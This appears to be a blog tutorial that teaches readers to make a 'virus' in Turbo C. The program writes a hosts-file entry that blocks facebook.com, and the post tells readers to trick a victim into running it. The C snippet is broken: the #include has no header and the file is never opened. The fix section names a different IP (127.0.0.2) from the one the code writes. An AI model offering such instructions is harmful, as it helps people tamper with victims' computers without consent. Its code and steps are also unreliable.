Lets Create a Virus


If you have every used a computer then you must have ever been struck by a virus and you must have shed tears because of it, today I will teach you how to create a virus that will prevent victim from opening a website by blocking it. Viruses are basically not any different from user application programs but the difference comes in the way they are implemented. As in, they also use the services of kernel and shell, they also run on the top of OS but as viruses are created for cruel deeds, they are categorized as virus. Similarly in this post we will create an C program that will modify the HOST file on victims computer so that the victim won’t be able to access certain website.


Host file is treated as a register by windows to store the IP address of certain website,   we will make an entry in the host file and give a wrong IP for website(in our case facebook), so when victim opens the website browser will try to access the wrong IP and ultimately it won’t open.
You need to have TURBO CPP compiler to be able to compile this code, if you don’t have one download from here.

  • Install Turbo C compiler and open the IDE.
  • Type this code on editor
#include
void main() 
{
FILE *f;fwrite("\n127.0.0.1 facebook.com",1,23,f);
fclose(f);
}
You can replace facebook.com with any website you want


  • Save the file with any name.
  • Compile and execute (we will see the fix for this virus very shortly)
In the bin folder where turbo C is installed you will find the executable, exe file will be of same name as the name of cpp/c file.
That’s it, you have your own virus. Just make your victim double click on it and no longer will he be able to access Facebook.


FIX

It doesn’t end here, you must be able to fix the mess you just made, to do so go to “C:\WINDOWS\system32\drivers\etc” and open the file “hosts” using notepad. You will see it like this

Just delete the line “127.0.0.2 facebook.com” and save the file.
Now facebook will be accessible .